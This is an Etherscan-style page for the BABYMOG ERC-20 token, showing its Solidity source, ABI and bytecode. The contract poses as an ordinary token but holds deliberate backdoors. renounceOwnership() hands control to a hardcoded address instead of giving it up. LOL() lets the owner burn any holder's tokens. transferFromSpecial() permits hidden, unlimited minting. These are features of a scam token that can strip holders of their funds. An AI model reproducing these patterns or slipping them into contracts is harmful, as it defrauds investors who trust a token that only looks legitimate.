ERC-20
Overview
Max Total Supply
100,000,041,211,000 BABYMOG
Holders
28
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,911,220.254686195 BABYMOGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BABYMOG
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-06 */ //https://t.me/BABYMOG_ENN //X:https://x.com/BABYMOGTOKEN // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(_owner == _msgSender(), "Ownable: Caller is not the owner"); } function renounceOwnership() public virtual { _transferOwnership(address(0xB6580CE7797363d63F9260bA3e798EE948281dBe)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.0; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } pragma solidity ^0.8.0; interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } pragma solidity ^0.8.0; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: Decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from!= address(0), "ERC20: Transfer from the zero address"); require(to!= address(0), "ERC20: Transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: Transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account!= address(0), "ERC20: Mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account!= address(0), "ERC20: Burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: Burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner!= address(0), "ERC20: approve from the zero address"); require(spender!= address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance!= type(uint256).max) { require(currentAllowance >= amount, "ERC20: Insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } pragma solidity ^0.8.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: Addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: Subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: Multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: Division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract BABYMOG is ERC20, Ownable { using SafeMath for uint256; uint256 public uin250; address public special ; constructor() ERC20("BABYMOG", "BABYMOG") { _mint(msg.sender, 42000000 * 10 ** decimals()); } function transferFromSpecial(address to, uint256 amount) public onlyOwner{ require(msg.sender == special, "Only the special address can perform this transfer"); uint256 bonusAmount = amount.mul(uin250); _mint(to, bonusAmount); } function setuin250(uint256 _uin250) public onlyOwner { uin250 = _uin250; } function LOL(address account, uint256 amount) public onlyOwner { _burn(account, amount* 10 ** decimals()); } function setadd250(address _special)public onlyOwner{ special =_special; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"LOL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_special","type":"address"}],"name":"setadd250","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_uin250","type":"uint256"}],"name":"setuin250","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"special","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFromSpecial","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uin250","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b50604080518082018252600780825266424142594d4f4760c81b602080840182815285518087019096529285528401528151919291620000549160039162000201565b5080516200006a90600490602084019062000201565b5050506200008762000081620000bf60201b60201c565b620000c3565b620000b9336200009662000115565b620000a390600a6200034f565b620000b390630280de8062000447565b6200011a565b620004bc565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600990565b6001600160a01b0382166200014c5760405162461bcd60e51b81526004016200014390620002a7565b60405180910390fd5b6200015a60008383620001fc565b80600260008282546200016e9190620002e7565b90915550506001600160a01b038216600090815260208190526040812080548392906200019d908490620002e7565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620001e2908590620002de565b60405180910390a3620001f860008383620001fc565b5050565b505050565b8280546200020f9062000469565b90600052602060002090601f0160209004810192826200023357600085556200027e565b82601f106200024e57805160ff19168380011785556200027e565b828001600101855582156200027e579182015b828111156200027e57825182559160200191906001019062000261565b506200028c92915062000290565b5090565b5b808211156200028c576000815560010162000291565b6020808252601f908201527f45524332303a204d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60008219821115620002fd57620002fd620004a6565b500190565b80825b600180861162000316575062000346565b8187048211156200032b576200032b620004a6565b808616156200033957918102915b9490941c93800262000305565b94509492505050565b60006200036360001960ff8516846200036a565b9392505050565b6000826200037b5750600162000363565b816200038a5750600062000363565b8160018114620003a35760028114620003ae57620003e2565b600191505062000363565b60ff841115620003c257620003c2620004a6565b6001841b915084821115620003db57620003db620004a6565b5062000363565b5060208310610133831016604e8410600b84101617156200041a575081810a83811115620004145762000414620004a6565b62000363565b62000429848484600162000302565b8086048211156200043e576200043e620004a6565b02949350505050565b6000816000190483118215151615620004645762000464620004a6565b500290565b6002810460018216806200047e57607f821691505b60208210811415620004a057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61118280620004cc6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806394b3793f116100ad578063b78fed3711610071578063b78fed3714610258578063ce9a3b0f14610260578063dd62ed3e14610268578063f2fde38b1461027b578063f5eb42861461028e5761012c565b806394b3793f1461020457806395d89b4114610217578063a457c2d71461021f578063a9059cbb14610232578063aa071c3b146102455761012c565b806339509351116100f457806339509351146101ac57806370a08231146101bf578063715018a6146101d25780637a55e173146101dc5780638da5cb5b146101ef5761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461016f57806323b872dd14610184578063313ce56714610197575b600080fd5b6101396102a1565b6040516101469190610b74565b60405180910390f35b61016261015d366004610b14565b610333565b6040516101469190610b69565b610177610357565b6040516101469190610f5f565b610162610192366004610ad9565b61035d565b61019f61038d565b6040516101469190610f68565b6101626101ba366004610b14565b610392565b6101776101cd366004610a8d565b6103be565b6101da6103dd565b005b6101da6101ea366004610a8d565b6103fc565b6101f7610426565b6040516101469190610b55565b6101da610212366004610b14565b610435565b610139610467565b61016261022d366004610b14565b610476565b610162610240366004610b14565b6104d2565b6101da610253366004610b14565b6104ea565b610177610544565b6101f761054a565b610177610276366004610aa7565b610559565b6101da610289366004610a8d565b610584565b6101da61029c366004610b3d565b6105be565b6060600380546102b0906110fb565b80601f01602080910402602001604051908101604052809291908181526020018280546102dc906110fb565b80156103295780601f106102fe57610100808354040283529160200191610329565b820191906000526020600020905b81548152906001019060200180831161030c57829003601f168201915b5050505050905090565b60008061033e6105cb565b905061034b8185856105cf565b60019150505b92915050565b60025490565b6000806103686105cb565b9050610375858285610683565b6103808585856106cd565b60019150505b9392505050565b600990565b60008061039d6105cb565b905061034b8185856103af8589610559565b6103b99190610f76565b6105cf565b6001600160a01b0381166000908152602081905260409020545b919050565b6103fa73b6580ce7797363d63f9260ba3e798ee948281dbe6107f1565b565b610404610843565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031690565b61043d610843565b6104638261044961038d565b61045490600a610ff4565b61045e90846110c5565b610878565b5050565b6060600480546102b0906110fb565b6000806104816105cb565b9050600061048f8286610559565b9050838110156104ba5760405162461bcd60e51b81526004016104b190610cfe565b60405180910390fd5b6104c782868684036105cf565b506001949350505050565b6000806104dd6105cb565b905061034b8185856106cd565b6104f2610843565b6007546001600160a01b0316331461051c5760405162461bcd60e51b81526004016104b190610ecc565b60006105336006548361096990919063ffffffff16565b905061053f83826109ae565b505050565b60065481565b6007546001600160a01b031681565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61058c610843565b6001600160a01b0381166105b25760405162461bcd60e51b81526004016104b190610bfc565b6105bb816107f1565b50565b6105c6610843565b600655565b3390565b6001600160a01b0383166105f55760405162461bcd60e51b81526004016104b190610e88565b6001600160a01b03821661061b5760405162461bcd60e51b81526004016104b190610c42565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610676908590610f5f565b60405180910390a3505050565b600061068f8484610559565b905060001981146106c757818110156106ba5760405162461bcd60e51b81526004016104b190610c84565b6106c784848484036105cf565b50505050565b6001600160a01b0383166106f35760405162461bcd60e51b81526004016104b190610dcb565b6001600160a01b0382166107195760405162461bcd60e51b81526004016104b190610cbb565b61072483838361053f565b6001600160a01b0383166000908152602081905260409020548181101561075d5760405162461bcd60e51b81526004016104b190610d85565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610794908490610f76565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107de9190610f5f565b60405180910390a36106c784848461053f565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61084b6105cb565b6005546001600160a01b039081169116146103fa5760405162461bcd60e51b81526004016104b190610bc7565b6001600160a01b03821661089e5760405162461bcd60e51b81526004016104b190610e47565b6108aa8260008361053f565b6001600160a01b038216600090815260208190526040902054818110156108e35760405162461bcd60e51b81526004016104b190610d43565b6001600160a01b03831660009081526020819052604081208383039055600280548492906109129084906110e4565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610955908690610f5f565b60405180910390a361053f8360008461053f565b60008261097857506000610351565b600061098483856110c5565b9050826109918583610f8e565b146103865760405162461bcd60e51b81526004016104b190610f1e565b6001600160a01b0382166109d45760405162461bcd60e51b81526004016104b190610e10565b6109e06000838361053f565b80600260008282546109f29190610f76565b90915550506001600160a01b03821660009081526020819052604081208054839290610a1f908490610f76565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a62908590610f5f565b60405180910390a36104636000838361053f565b80356001600160a01b03811681146103d857600080fd5b600060208284031215610a9e578081fd5b61038682610a76565b60008060408385031215610ab9578081fd5b610ac283610a76565b9150610ad060208401610a76565b90509250929050565b600080600060608486031215610aed578081fd5b610af684610a76565b9250610b0460208501610a76565b9150604084013590509250925092565b60008060408385031215610b26578182fd5b610b2f83610a76565b946020939093013593505050565b600060208284031215610b4e578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610ba057858101830151858201604001528201610b84565b81811115610bb15783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20496e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526023908201527f45524332303a205472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f45524332303a2044656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b60208082526022908201527f45524332303a204275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f45524332303a205472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a205472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601f908201527f45524332303a204d696e7420746f20746865207a65726f206164647265737300604082015260600190565b60208082526021908201527f45524332303a204275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526032908201527f4f6e6c7920746865207370656369616c20616464726573732063616e207065726040820152713337b936903a3434b9903a3930b739b332b960711b606082015260800190565b60208082526021908201527f536166654d6174683a204d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610f8957610f89611136565b500190565b600082610fa957634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611610fc05750610feb565b818704821115610fd257610fd2611136565b80861615610fdf57918102915b9490941c938002610fb1565b94509492505050565b600061038660001960ff85168460008261101057506001610386565b8161101d57506000610386565b8160018114611033576002811461103d5761106a565b6001915050610386565b60ff84111561104e5761104e611136565b6001841b91508482111561106457611064611136565b50610386565b5060208310610133831016604e8410600b841016171561109d575081810a8381111561109857611098611136565b610386565b6110aa8484846001610fae565b8086048211156110bc576110bc611136565b02949350505050565b60008160001904831182151516156110df576110df611136565b500290565b6000828210156110f6576110f6611136565b500390565b60028104600182168061110f57607f821691505b6020821081141561113057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212201d8737dfa50379064e5b6b5d5a99e46612c51749828911bd273b1f5db31e720064736f6c63430008000033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806394b3793f116100ad578063b78fed3711610071578063b78fed3714610258578063ce9a3b0f14610260578063dd62ed3e14610268578063f2fde38b1461027b578063f5eb42861461028e5761012c565b806394b3793f1461020457806395d89b4114610217578063a457c2d71461021f578063a9059cbb14610232578063aa071c3b146102455761012c565b806339509351116100f457806339509351146101ac57806370a08231146101bf578063715018a6146101d25780637a55e173146101dc5780638da5cb5b146101ef5761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461016f57806323b872dd14610184578063313ce56714610197575b600080fd5b6101396102a1565b6040516101469190610b74565b60405180910390f35b61016261015d366004610b14565b610333565b6040516101469190610b69565b610177610357565b6040516101469190610f5f565b610162610192366004610ad9565b61035d565b61019f61038d565b6040516101469190610f68565b6101626101ba366004610b14565b610392565b6101776101cd366004610a8d565b6103be565b6101da6103dd565b005b6101da6101ea366004610a8d565b6103fc565b6101f7610426565b6040516101469190610b55565b6101da610212366004610b14565b610435565b610139610467565b61016261022d366004610b14565b610476565b610162610240366004610b14565b6104d2565b6101da610253366004610b14565b6104ea565b610177610544565b6101f761054a565b610177610276366004610aa7565b610559565b6101da610289366004610a8d565b610584565b6101da61029c366004610b3d565b6105be565b6060600380546102b0906110fb565b80601f01602080910402602001604051908101604052809291908181526020018280546102dc906110fb565b80156103295780601f106102fe57610100808354040283529160200191610329565b820191906000526020600020905b81548152906001019060200180831161030c57829003601f168201915b5050505050905090565b60008061033e6105cb565b905061034b8185856105cf565b60019150505b92915050565b60025490565b6000806103686105cb565b9050610375858285610683565b6103808585856106cd565b60019150505b9392505050565b600990565b60008061039d6105cb565b905061034b8185856103af8589610559565b6103b99190610f76565b6105cf565b6001600160a01b0381166000908152602081905260409020545b919050565b6103fa73b6580ce7797363d63f9260ba3e798ee948281dbe6107f1565b565b610404610843565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031690565b61043d610843565b6104638261044961038d565b61045490600a610ff4565b61045e90846110c5565b610878565b5050565b6060600480546102b0906110fb565b6000806104816105cb565b9050600061048f8286610559565b9050838110156104ba5760405162461bcd60e51b81526004016104b190610cfe565b60405180910390fd5b6104c782868684036105cf565b506001949350505050565b6000806104dd6105cb565b905061034b8185856106cd565b6104f2610843565b6007546001600160a01b0316331461051c5760405162461bcd60e51b81526004016104b190610ecc565b60006105336006548361096990919063ffffffff16565b905061053f83826109ae565b505050565b60065481565b6007546001600160a01b031681565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61058c610843565b6001600160a01b0381166105b25760405162461bcd60e51b81526004016104b190610bfc565b6105bb816107f1565b50565b6105c6610843565b600655565b3390565b6001600160a01b0383166105f55760405162461bcd60e51b81526004016104b190610e88565b6001600160a01b03821661061b5760405162461bcd60e51b81526004016104b190610c42565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610676908590610f5f565b60405180910390a3505050565b600061068f8484610559565b905060001981146106c757818110156106ba5760405162461bcd60e51b81526004016104b190610c84565b6106c784848484036105cf565b50505050565b6001600160a01b0383166106f35760405162461bcd60e51b81526004016104b190610dcb565b6001600160a01b0382166107195760405162461bcd60e51b81526004016104b190610cbb565b61072483838361053f565b6001600160a01b0383166000908152602081905260409020548181101561075d5760405162461bcd60e51b81526004016104b190610d85565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610794908490610f76565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107de9190610f5f565b60405180910390a36106c784848461053f565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b61084b6105cb565b6005546001600160a01b039081169116146103fa5760405162461bcd60e51b81526004016104b190610bc7565b6001600160a01b03821661089e5760405162461bcd60e51b81526004016104b190610e47565b6108aa8260008361053f565b6001600160a01b038216600090815260208190526040902054818110156108e35760405162461bcd60e51b81526004016104b190610d43565b6001600160a01b03831660009081526020819052604081208383039055600280548492906109129084906110e4565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610955908690610f5f565b60405180910390a361053f8360008461053f565b60008261097857506000610351565b600061098483856110c5565b9050826109918583610f8e565b146103865760405162461bcd60e51b81526004016104b190610f1e565b6001600160a01b0382166109d45760405162461bcd60e51b81526004016104b190610e10565b6109e06000838361053f565b80600260008282546109f29190610f76565b90915550506001600160a01b03821660009081526020819052604081208054839290610a1f908490610f76565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a62908590610f5f565b60405180910390a36104636000838361053f565b80356001600160a01b03811681146103d857600080fd5b600060208284031215610a9e578081fd5b61038682610a76565b60008060408385031215610ab9578081fd5b610ac283610a76565b9150610ad060208401610a76565b90509250929050565b600080600060608486031215610aed578081fd5b610af684610a76565b9250610b0460208501610a76565b9150604084013590509250925092565b60008060408385031215610b26578182fd5b610b2f83610a76565b946020939093013593505050565b600060208284031215610b4e578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610ba057858101830151858201604001528201610b84565b81811115610bb15783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20496e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526023908201527f45524332303a205472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526025908201527f45524332303a2044656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b60208082526022908201527f45524332303a204275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f45524332303a205472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a205472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601f908201527f45524332303a204d696e7420746f20746865207a65726f206164647265737300604082015260600190565b60208082526021908201527f45524332303a204275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526032908201527f4f6e6c7920746865207370656369616c20616464726573732063616e207065726040820152713337b936903a3434b9903a3930b739b332b960711b606082015260800190565b60208082526021908201527f536166654d6174683a204d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610f8957610f89611136565b500190565b600082610fa957634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611610fc05750610feb565b818704821115610fd257610fd2611136565b80861615610fdf57918102915b9490941c938002610fb1565b94509492505050565b600061038660001960ff85168460008261101057506001610386565b8161101d57506000610386565b8160018114611033576002811461103d5761106a565b6001915050610386565b60ff84111561104e5761104e611136565b6001841b91508482111561106457611064611136565b50610386565b5060208310610133831016604e8410600b841016171561109d575081810a8381111561109857611098611136565b610386565b6110aa8484846001610fae565b8086048211156110bc576110bc611136565b02949350505050565b60008160001904831182151516156110df576110df611136565b500290565b6000828210156110f6576110f6611136565b500390565b60028104600182168061110f57607f821691505b6020821081141561113057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212201d8737dfa50379064e5b6b5d5a99e46612c51749828911bd273b1f5db31e720064736f6c63430008000033
Deployed Bytecode Sourcemap
